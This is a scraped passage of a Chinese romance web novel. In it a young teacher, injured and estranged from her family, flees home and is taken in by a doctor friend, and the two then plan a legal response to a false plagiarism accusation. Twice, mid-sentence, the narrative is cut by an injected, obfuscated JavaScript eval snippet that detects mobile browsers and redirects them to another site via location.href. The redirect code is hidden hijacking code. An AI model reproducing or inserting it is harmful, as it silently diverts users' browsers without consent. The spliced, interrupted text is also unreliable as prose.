昏迷中,她重复做着噩梦,无休无止。 她梦见她向家人妥协,听话地嫁给了赵衡。婚礼上,台上台下的所有人都笑得好开心,唯有她脸上没有笑意。 她一转头对上赵吉那张怨毒的脸,他拿着一把刀狠命地刺向她。她大惊失色,却没有痛觉,茫然地低头去看自己胸口,纯白的婚纱被血色浸透,而台上的父母家人、台下的父老乡亲皆是恍若未闻,只一味欢呼。 姜颂握着心口上的那把刀,哀求地看向母亲,却发现母亲全身上下也插着好几把刀,只是她穿了一身红色衣服,看不出血迹。 她问母亲,妈妈你身上怎么这么多把刀,痛不痛? 姜母笑着回答她,没关系的姜姜,你现在身上也有一把了,以后你会跟我一样的。 她仍是一脸茫然。 然后,她看着母亲从身上拔出一把刀,亲手刺进了她心口。 梦境的结束止于她亲手拔出两把刀,扯坏了婚纱裙摆,跳下舞台。 在医院醒来已是三天后。 她躺在县医院的病床上,被全身的纱布裹得动弹不得,眼前是母亲焦急的脸。 “姜姜!你终于醒了!”姜母开始掉眼泪,“你吓死妈妈了,吓死妈妈了……” 姜颂看着她,说出了醒来后的第一句话:“我要……告他。” 姜母的眼泪被吓得憋了回去:“那怎么行啊,你不知道,你昏迷的这几天,赵家老爹又选上村长了,你要是告了赵吉咱们家还怎么过下去啊!” 姜颂说不出话,她多说一个字,身上的伤口都会被牵动,令她痛彻心扉。 她一动不动,只仰面躺着闭上眼睛,眼泪从眼角划过没入鬓角。 姜母哭着说:“我们还欠了人家那么大的一个人情,你不肯嫁过去,我们就已经理亏了,现在这么一来,赵家也不能再有什么话说了,这事就让它这么过去吧,啊。” 姜颂眼泪一直在流,她忍着痛嘶声问:“妈妈,你当初说不想让我远嫁,怕我受欺负,你说你不放心。可我现在被欺负到进医院了,为什么你却这样说?” “妈妈知道委屈你了,姜姜,可是妈妈真的没办法,是妈妈没用……”姜母哭得不能自已,任谁听了都能感受到她的无奈。 姜颂确实也感受到了,但她无法再试图去理解。 谁不无奈呢? 姜母在她床边哭得肝肠寸断,一个劲儿地说对不起她,没有得到她任何一句回应。 听了一会儿,姜颂说:“妈妈,回去帮我好好喂黄豆吧,别让它吃剩饭了。” “哎,哎,好,我待会儿就打电话让你爸喂。” 姜颂没什么话再想说了,她真的好痛。 不多时,她的精神耗尽,再次陷入昏睡。 这期间病房里的人来来往往,交谈的人声声线换了一种又一种。烟味熏得她在睡梦中都想吐,可惜她什么力气都没有,不能起来发脾气。 住院的日子里赵家派了赵母来过一次。 赵母是个交际能力很强的中年女人,看见姜颂被纱布裹成粽子,眼眶子说红就红。 她鼻涕一把泪一把的,哭得比姜母这个亲生母亲还要情真意切:“我跟他爷爷都骂过小吉了,这孩子也是从小被我们惯坏了,居然干出这种事。我们已经把他的车给没收了,让他在家里反省。姜老师,你大人有大量,别跟小孩一般见识。” 说罢,她眼泪一抹,从包里拿出一张卡:“孩子你也是遭大罪了,我们赵家对不起你,这卡里有二十万,不多,婶子也知道住院不好受,就当是我们的一点心意,你就收下。” 姜颂睨着那张卡,未置可否。 良久,她抬眼,平静道:“我要五十万。”不然她就告赵吉,至少要把他送进少管所。 当然后面的话她没说。 也不用说,赵母一听能用钱解决,顿时喜笑颜开,连声答应。 钱款很快转到姜颂的账户上,姜颂垂眸看着好几个零的余额,心里却空落落的,生不出任何情绪。 她好像连产生情绪的能力都失去了。 在医院一躺两个月,凛冬已至,又到了一年年底。 她身上的伤已经好转,可以下地活动了。医院给开了出院单,姜颂被姜母带回了家。 回家第一天,她看着床边那张小床说:“我需要静养,养不好的话我心情可能就不太好,心情不好我指不定就要去法院闹一闹了。” 姜奶奶生怕她犯浑,连夜灰溜溜地搬回自己家。 姜彪来阴阳她拿了赵家五十万赔偿不知道帮衬家里,姜颂装也懒得装,让他滚去赵家找赵吉把他撞死,这样拿的更多。姜彪气得直跳脚,骂骂咧咧地走了。 姜父指责她对长辈刻薄,她说爸爸,你要不想在村里待不下去最好还是别惹我了,你惹我我就去惹赵家人,咱们谁也别想好过。 姜母还是唯唯诺诺的模样,任由姜父把从她这受的气全发在她身上,不反驳,不挣扎。然后转身进厨房给姜颂端出一碗骨头汤,笑眯眯地让她趁热喝。 姜颂让她自己留着喝,翻身闭眼睡了。 回家后的她淡淡地对所有人发着疯,她捏着全家人的命脉,到底还是有些用处,至少让她过了几天安生日子。 养伤的日子过得很平淡,她懒得和家里任何一个人说话,每天除了吃饭、睡觉和做点手工打发时间之外,唯一的兴趣就是逗逗黄豆玩。 除此之外,她对什么都是一副提不起兴趣的样子。 姜彪还在惦记她那笔赔偿款,隔三差五就要上门来撺掇姜父。姜父也明里暗里地跟她要过,不过她油盐不进,随他怎么说。 有几次姜彪来的时候她正在院子里跟黄豆玩,听他唠叨烦了,直接松开了黄豆脖子上的绳子,站在一旁讥诮地看着大伯被追得满院子跑,等他被黄豆追上撕咬,把棉裤里的棉花都咬出来的时候,姜颂再笑眯眯地召回黄豆,奖励它一盒鲜肉罐头。 年根底下,雨花镇下了一场大雪。 雪天的傍晚,一切都是那么的静谧安详。 姜颂受伤之后神经异常衰弱,对一点点的光线、声音和气味都无比敏感。 她从睡梦中被一阵调料的浓重气味吵醒。 悠悠转醒后,她慢慢爬起身,拉开窗帘看到满院子的落白。 她想,快要到晚饭时间了,黄豆应该也饿了。 她穿好厚外套,下床拿着新拆封的狗粮出了屋。 不知是什么缘故,路过厨房时那股调料味重得叫她有点反胃。她屏着呼吸穿过厨房,来到院子里。 狗屋前没有黄豆的身影。 她走近了,叫着它的名字:“黄豆?” “黄豆?” 没有一只浅黄色短毛小狗欢快地从狗屋里钻出来,然后耳朵忽闪忽闪地扑腾,一直扑到她怀里。 她愣了十几秒,伸手去拽那根她特意挑选的粉红色的牵引绳。 那根绳子只有一点五米,她却拽了很久很久。 直到拽到挂着只有宠物背胸带的另一端。 “黄豆。”她愣怔着,喃喃叫它。 雪地里安静得她只能听见自己的呼吸,她扶着空荡荡的狗屋起身,路过厨房,鬼使神差般走向了那股令她反胃的气味源头。 厨房里,灶台上,那口锅里剩了一些汤,油腻腻的,让她忍不住干呕起来。 她慌忙找到垃圾桶,目光触及到里面的东西,动作定格。 主屋内,电视里放 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她一声不吭地把角落里的行李箱拿出来,开始往里面收东西。 也没塞下什么,她拉起箱子就往外走。 她要立刻逃离这里,逃离这个家。晚一秒,她也会和黄豆一样,被吃得骨头渣子都不剩下。 满天纷飞的大雪里,她艰难地拖着箱子往前,姜母一路追出来。 “这么大的雪你要去哪啊姜姜!” 姜颂嘶哑的声音在茫茫大雪里十分清晰:“哪都好,不是家里就好。我要辞职,我要离开这里,再也不要回来!” “姜姜!”姜母追上去。 “你别走,妈妈求你了,你不要走!”姜母抓住她的衣角,不自觉地流着泪,“这个家里只有你能理解妈妈了,你走了,妈妈就真的只剩下一个人了。” 姜颂停下脚步:“那你跟我一起走。” “我……” 姜母一瞬间的迟疑被姜颂敏锐地捕捉到,她木然扒下母亲拽住她衣角的手,毫不留恋。 她谁也救不了,也不再渴望拯救任何人。 她要一个人逃走。 越远越好。 夜色漆黑,风雪渐大,雪水浸透她的外套,打湿她的眼睫,她努力看向前方的视野逐渐变得模糊起来。 …… 便利店里,趴在桌上的姜颂看着外面的车水马龙,脑子里走马灯似的过了一遍那几年的事。 她也是这时候才发现,原来母亲给她的“爱”里始终都暴露着这么多的破绽。 原来是她自己一直在想方设法自欺欺人。 她倏而自嘲地弯起嘴角。 一眨眼的工夫,透明玻璃前出现了一个高大的身影。 来人胸口还在剧烈地起伏,焦急的眼隔着玻璃对上她的,逐渐变得平静。 她的目光聚在那人身上,原本有一些模糊的视野变得清晰。她下巴离开自己放在桌面上的胳膊,直起身子坐在店里,静静地与他对视。 孟决明没在原地做过多的停留,他大步跨进店里。门口“欢迎光临”的语音话音未落,他已经来到了姜颂身前。 他微微喘息着,看到姜颂毫发无损地坐在这里,心里的焦灼感顿时去了大半。 他蹲下,姜颂坐的椅子有些高,他只能仰视着她。 他温声对她说:“我送你回家吧。” 酒精已经顺着她的血液流淌进她身体的每一个角落,她双颊泛着酡红,眼神迷蒙,说话也不清晰:“回家?哪个家呀……我好像没有家呢……” “回清欢里,好吗?”清欢里是姜颂租住的那个小区。 她摇摇头:“不行,我没有带钥匙。” 孟决明缄默一瞬,道:“那先回我家,可以吗?” “你要带我回家吗?” 她没有等他回答,侧过身体朝向他,扑过去抱住他的脖子,半趴在他肩膀上,瓮声瓮气:“好呀,我跟你回家,你带我走吧。” 35. 初吻 已经过了晚高峰,回去的路上车辆不多。 黑色宝马一路无阻地穿过夜色。 开车的间隙里,孟决明时不时地注意着副驾驶。不知什么时候,人已经睡着了。 他松了松脚下油门,将车速放得更加平缓,减少颠簸。 一刻钟后,车子平稳行驶进小区地下车库。 他把车子倒进车位,停车熄火,偏头凝望她沉睡中的脸,没了动作。 车库内灯光大开,映着她因微醺透出的红晕的脸颊。 方才把她带离便利店时,桌子上的酒瓶是他收拾的。十几个易拉罐和玻璃瓶几乎全空。 事态紧急,陆轩只告诉他姜颂知道了一些事情,一时无法接受才一个人跑出来,却没告诉他究竟。 他也不知道她到底听到了什么,又发生了什么,才让她一个人喝了这么多酒。 她睡得安稳,他也不忍心吵醒她。 就这么看了她十分钟,她没有醒来的迹象。他只好下车绕到另一侧,打开她那边的车门,探身松开她身上的安全带。 柔声唤她:“姜姜?” 闻声,她缓慢地睁开眼,一时有些无法适应车库内明亮的环境,下意识蹙眉。 他用身体挡住一部分光线:“到了,这里太冷,睡久了会感冒的,上去睡吧。” 姜颂睡意未褪,含糊地嗯了声。 孟决明关门锁车的工夫,她自己随便挑了个方向摇摇晃晃地走出去好一段距离。 他无奈地把人捞回来。 她醉得有些意识不清,不明白他为什么不让她走。 “那是车库入口,我家在这边。”他认真给她解释。 醉鬼哪里听得懂。 他低头对她说:“我带着你走,不要一个人乱跑。” “好!”她弯着眉眼,乖乖伸手去抓他的手,牵住。 孟决明顿了一瞬。 掌心里那只手比他小太多,他一只手就可以握住她的双手。温度源源不断地顺着掌心传递,他不动声色地牢牢握住,一步步引着她走向电梯。 电梯上升至按下的楼层,他快速输入密码开门,打开客厅的灯,把姜颂先安置在沙发上。 “等我一会儿。” “嗯!” 他到厨房冲了一杯蜂蜜水,端给她。 “是温的,喝一点,明天酒醒了胃会舒服一些。我去收拾一下房间。” “好!” 她双手接过来,当着他的面喝了一小口,待他转身,她把水杯捧在手里,盯着他离开的背影。 孟决明从隔壁房间的柜子里找出一整套新的床上四件套。他回到主卧,只开一盏床头的台灯,上手把旧的四件套一一换下。 马上要换完的时候,他忽觉身后有细微的动静传来,窸窸窣窣,在安静的环境中尤为清晰。他转身,见姜颂站在了门口,身上的外套不见踪影,只穿了一件白色针织衫。 “马上就好了,稍等。”他刚想继续去铺床,却见她大步朝他走来。 “姜姜……” 话音未落,她加快步子猛地向前一扑。孟决明毫无准备,被她扑得后仰,腿磕到床侧,倒在他身后还差一点铺好的床上。 他撑着床面,刚支起一点身体,又被欺身而上的姜颂强势压了回去。 姜颂双手摁住他的肩膀,不给他任何躲避的机会,不由分说低头吻上他的唇。 孟决明瞪大了眼睛,全身僵硬。 柔软的唇瓣在他嘴唇上来回碾磨,长长的睫毛轻扫过他的脸,带来一阵痒意。她温热的呼吸里挟着酒气,与他的气息交缠,与之同时而来的还有她身上特殊的清香。 周身的血液在这一刻达到了沸点。 他脑中嗡嗡作响。 吻,是这种感觉吗? 酥麻感顺着血液流入四肢百骸,脊椎到尾椎阵阵发麻。 追溯到远古时期,那时还是猿猴的人类还留有尾巴,表达喜爱与欢愉之时就会疯狂摇晃,这样的习惯大概一直保留到了如今的文明社会。 他不禁想,如果他还有一条尾巴,此刻定是摇摆不停。 心跳声在寂静昏暗的环境里犹如春雷炸耳。 她像只好奇小猫,在他的唇珠上轻轻舔舐,好似遇到她喜欢的罐头,舍不得一口气吃完,极其有耐心地反复在周围嗅嗅舔舔解馋。 尝到甜头,她终于忍不住,贪心地试图去撬开罐头开关。 孟决明感觉自己失去了对身体的控制权,他伸出去原本想要推离她的手,脱离了大脑的指挥,转而搂住她的腰身,另一只手轻轻掌住她的后脑。 他阖眼,并沉沦。 罐头被打开,她小巧的舌尖溜进罐头里,品尝其间的美味。 探舌卷食的那一刻,罐头忽然有了逃跑的倾向。 她不悦地抬头。 幽暗的房间里,昏黄的暖光倒映在她眼眸,他喉结轻滚,怔怔望着她迷离的眼。 “姜……唔……” 她的手捧住他的脸,再度低头堵住他的唇,在他唇角咬了一口。 快、准、狠。 他吃痛,血腥气弥漫在口腔,盖住了一丝酒气。 她的吻渐渐向下偏移,直到柔软湿润的触感在他喉结处不停打转,她不安分的手开始去扒拉他的领口,他感受到身体的变化,残存的理智骤然回笼。 绷直身体,猝然睁眼,他按住她作乱的双手。 不行,这样不行。 他反手从她背后拎住她的领子,趁机坐起身,别扭地别过脸去。 她还跨坐在他大腿上,双臂环住他的脖颈,微眯着眼,很不高兴地看他,微微嘟着嘴。 她的唇上残留着水渍。 目光触及,他从耳朵尖一直红到脖子根。 姜颂醉了,可他没有。 他这样纵容她的酒后胡为,分明是在趁人之危。贪恋了这一晚的温柔,那明天呢?明天她醒来他又该怎么面对她呢? 他无意识地吞咽了一下,对尚不清醒还意犹未尽的姑娘摇头,轻声说:“不行。” 她继续不高兴地看着他,目光灼灼。 “不能……这样……”他在心底叹息,虽然知道她现在可能听不懂他在说什么,还是把自己心里的担忧说了出来,“你醒来会后悔的。” 他不能用他们之间的未来去赌。 姜颂贴近他,他连忙避开,她也没再纠缠。 尖尖的下巴搁在他肩头。 她含糊不清地说:“那我没有别的东西可以拿来付你的住宿费了。” “什么?”他没听清。 她贴他贴得更近,说话时的气息蹭过他的耳廓:“我小的时候住在舅舅家,妈妈每个月都要付住宿费。后来我长大了,住在爸爸妈妈家,也还是要交住宿费。” “不付出些什么的话……没有人愿意收留我的……”她喃喃道,“我今天太累了,能不能不要赶我走。可我现在没有带钱,你想要什么吗?” 她的一字一句落进他耳中,孟决明沉默地侧过头,他颈侧的皮肤触碰到她柔软的脸颊,一时无言。 半晌,他垂眸,低声对她说:“我什么都不要。” 他只想把自己的所有全都给她,包括他自己。 不过她愿意接受他也好,不愿意接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173236|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受也罢,这些对他来说都不重要。只要能陪在她身边,爱人的身份固然很好,朋友的身份他也甘之如饴。 她平安快乐地生活在这个世上,他还能偶尔看到她就足够。 他在她怀里贪恋了片刻的温暖,手掌抚过她的发丝和背脊,问她:“喝了那么多酒,不难受吗?” “嗯……有点晕。” 他克制地在她发顶落下一个吻:“那早点睡吧。” 哄着人从他身上下来,他把刚才弄乱的床铺重新铺好。 安顿好一切,他关掉了唯一一盏光源,房间内彻底陷入黑暗。 借着客厅的光,他站在门口确认床上的人已经安然进入梦乡,才轻手轻脚地带上了门。 他长长呼出一口气,背靠在门板上,脸上的热意却丝毫未退,他缓缓蹲下,将滚烫的脸埋进臂弯里。 “喵~” 兰花踱步至他身前。 孟决明红透的整张脸只露出一双眼睛,在它准备叫第二声的时候,他对它做了个噤声的手势,然后抱起它,走到它的猫窝处,才发现猫食盆空了。 他到柜子里拿了一袋未拆封的猫粮,剪开一个小口,蹲在地上往兰花的碗里倒。 一粒一粒的猫粮从袋子里滚落,逐渐堆成一座小山丘,接着,山丘变平原,平原变大海。 最终溢了出来。 兰花奇怪地看向铲屎官,后者半天没有反应,不让它叫,它只能上去用爪子打他的手腕。 孟决明回过神,才发觉一袋猫粮被他倒出来大半袋,连忙收拾残局。 兰花开始进食,他蹲在那里一动不动。兰花不明所以,吃完在他垂落的手掌上蹭了蹭,才安心回窝里团成一个球。 冷静了一些的孟决明忽然觉得这感觉似曾相识。 这一蹭,让他想起一件事。 他刚把兰花抱回来的时候,兰花还是巴掌大的一小只。刚脱离了猫妈妈怀抱的幼崽总是对新环境带有莫名的警惕,对他也不怎么亲近。 后来兰花在家里淘气,爪子抠进家里的沙发靠背上的皮面里,被挂在上面一直挣扎,连指甲也被活生生折断。他下班回家发现它走路一瘸一拐的,地上还有干涸的血迹,翻来覆去看了好半天才发现它爪子上的伤。 他帮它处理的时候手背上被挠了好几道伤口,但处理完,兰花破天荒头一次蹭了他的手,想让他抱。抱起它之后,小猫喵呜喵呜地在他怀里一直叫,仿佛在诉说那个伤口有多痛。 理智慢慢归位,他忽然在今晚姜颂的举动中后知后觉地感受到了类似的情绪。 她的伤口在哪里呢? 住宿费又是什么意思? 他往主卧的方向望去。 凝视许久,他从口袋里掏出手机,打开了陆轩的聊天框,编辑了一条消息发送。 陆轩没有立刻回复,他等待的时候余光瞥见地上的外套,是姜颂那件。 他走过去,弯腰捡起。这时候,衣服口袋里的手机掉出来,落地之前被他眼疾手快地接住。 手机屏幕亮着,他无意扫过,目光停滞在那几条只显示了只字片语的未读消息提醒上。 恶言恶语不停地在一方小小的屏幕上刷新着,他观察了一会儿,抓住了其中一些关键词。 抄袭、小兔医生、教程、心虚…… 消息显示来源于姜颂做手工账号的那个平台。 他用自己的账号去看姜颂的账号主页,没看到小兔医生的成品图。 略一思索,他退出去注册了一个新账号重新登录去看,这次看到了只对他屏蔽的那条成品图宣传贴。 底下,被骂了几千楼。 36. 第 36 章 她太久没有好好休息,这一觉几乎是安静地睡到了自然醒。 房间内窗帘未开,光线从缝隙里钻进来。 冷色系的壁纸颜色,整齐简约的布置,连床品都是冷淡的银灰色。 眼前这陌生的环境让刚醒来的姜颂大脑宕机了几秒。 “咚咚咚。”有人轻轻叩了三下门。 姜颂掀开被子,从床上跳下来去开门。 门外的人大概没料到她会亲自来开门,短暂地愣了一下。 她的长发经过一夜的翻来覆去稍有些凌乱,几根发丝粘在她的侧脸。她懵懵地看着他。 好好休息这一夜,她的气色恢复了不少,皮肤一片瓷白,透出淡淡的粉色,如她瑰色一般的唇。 与她对视一秒,他不着痕迹地错开眼,看到她只穿着白袜踩在地板上的脚,说:“怎么没穿鞋就跑下来了?” 姜颂也低头:“着急开门就忘了。” 她回去把鞋子穿上,他站在门外没动,对她说:“卫生间洗漱台上有新的洗漱用品。我做一点吃的,洗漱完出来一起吃饭吧。” “好。” 得到她的回答,他立刻走开。 他的家整个都是冷色调的,连多余的小摆件都没有几个。 洗漱台的架子上摆放着男性常用的一些物品,例如剃须刀。 好像每次见面时他都是清爽而整洁的,以至于她很难想象他有胡茬的样子。 镜子旁边还贴着一张人体骨骼图。她刷牙的时候好奇地盯着那张图看,忍不住想,他每天早上在这里洗漱的时候都在对着这张图加深记忆吗? 独居男性的家跟她想象中的不太一样,她想了想又觉得也或许只是孟医生这个人不一样。 她收拾好自己,来到客厅。 他的厨房是开放式的,和客厅连在一起。他穿了件黑衬衫,搭配黑裤。衬衫袖子挽到小臂位置,身上系着围裙,正背对她在料理台前忙碌。 客厅宽大的落地窗透进和煦而温暖的阳光,光晕笼罩在他周围。 姜颂周身也被阳光照得浑身暖洋洋的,站在那里看向他的背影,一时有些恍惚。 这是他的私人空间,她能感受到他的气息充斥着每一处角落,看到任何一件东西都会不由自主地联想他的生活轨迹。 他的私人领域,被她在这普通的一天闯了进来。 姜颂忽然觉得在他家的感觉很奇妙,她居然没有一点对陌生环境的排斥心理。 顿了几秒,她过去,探头问:“我能帮上什么忙吗?” 他翻炒的动作没停:“不用。茶几上有一杯蜂蜜水,你先喝,稍等一会儿就可以开饭了。” 姜颂不死心地左看看右看看,看到一旁的两盘蛋包饭:“那我把这个先端过去吧。” “好,小心烫。” 她端走饭,在餐桌上摆放好后回到沙发上坐下。她捧起那杯蜂蜜水喝下,温热而甜蜜水流顺着喉咙流淌进胃里,掌心里的水杯还留有余温,处处温暖。 真神奇,她好像小说里受伤之后误打误撞来到一片福地洞天的主角,这几天消耗掉的能量好似在一点一点恢复,让她忽然又生出了些许勇气来面对前路的困难。 家里的事可以暂时先放一放,但账号的事她想她应该早点解决会更好。 沙发上放着她的外套。 她从外套口袋里拿出手机。 上面还是姜家人一连串的未接来电。 她全部忽略掉,径直点进收到大量攻击的账号后台,面无表情地钻进那些尖锐如刀的话语中。 刨除掉不堪入目的辱骂,她在众多评论中逐渐拼凑出来龙去脉。 和她以为的有些出入,这次的事情并不是如往常一般的普通鉴抄事件。 这事的起因是某当红女明星昨天在社交账号上发了一组营业九宫格,这位女明星最近正在剧组拍摄一部偶像剧,昨天她生日,剧组送了礼物给她,九宫格里有四张是晒的那些礼物。 其中有一张正是全系列的小兔医生成品,配文是感谢剧组赠送,并且艾特了道具制作者,也就是那位“被抄袭”的博主。 约莫是有关注姜颂账号的粉丝看到,在女明星评论区底下发出疑问,由此引来了那位博主的粉丝,之后粉丝便吵了起来。到这里本来还只是手工圈子的一点小风波,但后来这位女明星的对家粉丝抓住机会,趁机浑水摸鱼将矛盾引向明星本人,还由此发掘了一些旧时黑料,两家花粉正式开战,一下子闹上了热搜,这件事也跟着出了圈。 姜颂顺着评论区的指路找到了网友们口中“被抄袭”的博主,对方也是个有着几十万粉丝的大博主。同样是手工赛道,只是不像她一样什么都沾点,这位博主只深耕石塑黏土领域。 点进主页的那一刻,姜颂就注意到了该博主置顶的帖子封面图,赫然展示着小兔医生系列的成品,发布时间的确在她之前。更诡异的是,对方还抢先发布了视频教程。 姜颂仔细看了看对方的发布时间,回忆着那个时间点。 这个时间正好是她做完小兔医生系列最后一只成品的那天晚上,也就是和孟医生开始冷战的那天。 那天她记得她做完成品之后在深夜发了一条朋友圈,不过很快删除了,这应该是唯一可能泄露的途径。对方的帖子在平台上的发布时间虽然早于她,但却晚于她那条朋友圈的发出时间,且就在那大概两个小时之后。 这个系列一共有五只兔子,光是五只兔子主体的制作就不可能在两个小时之内完成,更别说还有一大堆乱七八糟的小配件。按常理说,不太可能是抄袭她的。 可世界上怎么可能有这么巧合的事,平时同行之间撞创意也不是什么新鲜事,但是有可能会撞到连配饰、细节都一模一样的程度吗? 姜颂心里门清这个系列是自己亲自研究出来的原创作品,她的灵感来源本人还在她身后呢,她问心无愧。 但她前段时间手伤复发,这段时间又忙着在医院陪床,一直没空录教程视频,对方却发了出来,她已经失了先机。落在看客眼里,她迟迟不发教程就是抄袭者的心虚作祟,对方博主才是苦主,因为姜颂根本无法解释发布时间的问题。 她的脑子飞速运转,将页面切换到女明星那张有小兔医生的营业图上,放大仔细查看细节。她可以确定这套成品的确不是出自她手,并且在某些细节方面其实跟她的稍有差距。 依据姜颂的经验来看,这大概是对方看了她的成品图之后自己仿制的,才会有这种效果。 但现在的问题是,她在研究小兔医生系列的时候并没有录制过程视频,甚至连图片都没有留下。也就是说,她目前没有任何证据能证明小兔医生系列她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188368|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是原创作者。 姜颂运营这个账号两年多,被抄袭的次数不少,但被指控抄袭还是第一次。被抄袭她可以懒得计较,但被污蔑抄袭她真的咽不下这口气! 姜颂被气得拿着手机的手指都在抖,她绝对不能吃这个哑巴亏,一定要想办法澄清这件事! “姜姜?” 姜颂被这一声呼唤叫回神:“啊?” 孟决明:“来吃饭。” 她应了声,人朝着餐桌走去,脑子里还在想。 长方形的桌子,她和孟决明面对面而坐。 孟决明拿来两套餐具,递给她一套。见她双眼发直,问道:“怎么了?” 姜颂接过餐具,咬了下嘴唇。 孟决明察觉到她的犹豫,默默转移话题:“尝尝我新学的蛋包饭,味道应该还可以。” 姜颂拿勺子舀了一勺吃掉,抬眼看了看他:“好吃的。” 孟决明:“那就多吃点。” “嗯。”姜颂慢慢吞下嚼碎的食物,“其实有件事还挺不好意思告诉你的……” 孟决明没说话,只是看着她等待着她的下文。 姜颂抿了下嘴唇,开口道:“就是那套小兔医生,其实已经做好了。也……在账号上发布了,但是因为当时我们的关系有点尴尬,我就……把你屏蔽了。” 她越说越小声,说完,忍不住抬眼观察他的反应。只见他眉眼含笑,看着她不搭话。 “你知道?”姜颂惊讶。 “嗯,昨晚不小心看到了你手机屏幕上的私信内容,用小号看了一下,就知道了。” 姜颂有点窘迫地问:“那你看到我被骂了?” “看到了。”他说,“我这里有几张当时去上课的时候拍的半成品的图,你可以拿去澄清。” 姜颂叹了口气:“这件事现在已经闹大了,就算澄清,也依然会有不断的麻烦。图他们可以说是我P的,但发布时间的问题我确实没办法解释。” “我其实想到了一些办法。先吃饭吧,吃完我们再商量。” 他说完,朝她看去,却发觉她的视线落在他唇角处定格了许久。 他脑海里闪过昨晚的某些片段,忽地记起,那里,有一小块被咬破的伤口。 他不自然地蜷了下手指。 在他视线胡乱移开的时候,他听见姜颂说:“我昨天……” 他登时神经紧张如同绷紧的弓弦。 她盯着他的眼睛,语速缓慢地说:“因为一些事,我跟家里人吵架了,所以一个人跑出去,包忘记拿,家都回不去。谢谢你来找我,还收留了我一晚。” 孟决明控制着自己慌乱的心跳,说:“我昨晚回去加了一会儿班,顺便帮你把包拿回来了,在我车上。” “谢谢。”她笑了笑,“我昨天好像喝太多了,也不知道我酒品怎么样,没出什么洋相吧?” 听到这句话,孟决明漏拍的心跳频率恢复了正常,只是变得有些空落落的。 他本来担心她记起昨晚的事,两人会很尴尬。可现在她说不记得了,他却有一些失落。 他自己也搞不清楚自己到底希不希望姜颂记起昨晚的事。 沉默半晌,他说:“没。” “那就好。”她笑盈盈的,“看来我酒品还是挺好的。” 孟决明:“……嗯。” 37. 第 37 章 饭后,两人梳理了一遍这件事的爆发逻辑,企图从中找到一个突破口。 孟决明把手机里存的照片发给姜颂,姜颂查看那些照片的时候想起来自己手机里还有当时发朋友圈的成品图。 找出成品图的一瞬间,她有了新的发现。 “你看她这个封面!”姜颂开了分屏,把自己的成品图和对方的封面放在一起作对比,“是不是很像?” 孟决明凑过去,肯定道:“细节的地方的确很相似。” 姜颂总算知道对方是如何在短短两个小时之内做完整个系列的五只兔子了。 “我知道了,她这张封面里面的成品不是她做的,是用我这张分解出来,再P到封面上的。” 为了确定这件事,她去询问了之前给她拍过写真的女摄影师,对方很快给了答复,证明她的猜测是真的。 “可我如果用这个理由去澄清,对方也可以倒打一耙,反过来说我的图才是P的。网友里面的大多数人看不出门道,很可能会被混过去。”姜颂说,“我必须要一次性摁死这件事,不能给对方任何机会。” 孟决明:“你想怎么做?” 姜颂:“或许只有走诉讼这一条路了。” 涉及到饭圈,她个人说得再多都不如一纸官方文件来得管用,这也是娱乐圈澄清的常用手段。 “决定好了?”孟决明问。 明星有专业的团队为他们负责这一切,发一份律师函对他们来说根本算不上什么。但她却只有一个人,光是收集证据的过程就足以磨灭心气。 姜颂深知前路有多艰难。 但她想试试。 经营起一个账号有多困难她都经历过,这件事如果不妥善处理,她以后的口碑都会受到影响,她不想让自己的努力就这样付之一炬。 她坚定点头。 “那就别担心。”他定定望她,“我会帮你。” * 孟决明联系了张威,张威在电话里欣然同意,让他们去律所找他。 姜颂想着孟决明昨晚加班,让他好好休息,她自己去就可以,他却执意要一起。她推脱不过,还是答应了。 两人到了律所被助理带到张威的办公室。 张威热情洋溢,招呼他们到沙发区坐下:“喝点什么我让助理去准备。” 电视剧看得多了,姜颂总以为律师都是一身西装革履,平时不苟言笑的模样。乍一见到张威颧骨升天的样子,她还有点不适应:“……都行。” “咖啡怎么样?” “可以。” 张威到办公桌前按下电话对助理吩咐准备三杯咖啡送上来,接着回到会客的沙发区。 姜颂:“谢谢。” “哎呀不用谢。”张威笑嘻嘻地瞄了一眼孟决明,“我可是预订你们婚礼主桌了,千万别跟我客气!” 话音未落,孟决明下意识看了眼姜颂,对张威说:“你别逗她了,她是我朋友。今天过来是因为遇到一点比较麻烦的事,需要跟你做一些咨询。” 张威一副了然的眼神,面向姜颂:“啊,不好意思误会了。那我们开始吧,你先把事情跟我说一遍吧。” 姜颂从头到尾讲了一遍,张威收敛了闲散松弛的神色,认真听着,边听边思考。 她说完,他思忖片刻,很快给出了一些专业角度的分析。 “我们之前接过类似的案子,这类诉讼流程可能会很长,时间和金钱成本的投入都不算低。最重要的是,可能你要花个几年的时间才能拿到这个结果,即使法院判了你赢,到那个时候这事的热度早就过去,也不会有多少人知道你才是原创。” 这些姜颂自己也知道,但除了这样也没有更好的办法了。 “直接走诉讼的性价比很低。我建议,可以先以我们律师事务所的名义发一份律师函给对方博主,并且在你的账号上跟你现有的那些证据同时发布。这样公众会觉得你有打官司的决心,心里是有底气的,能增强可信度。对方看到律师函也许会退缩,那当然万事大吉了。如果对方依然保持现在的态度,我们再进行下一步。” 万胜律师事务所的名号姜颂也略有耳闻,震慑作用不容小觑。 但更重要的是,他是孟决明的朋友,姜颂自然而然地对他多了一丝信任。 她想也没想就答应下来:“那就这么做吧,麻烦了。” 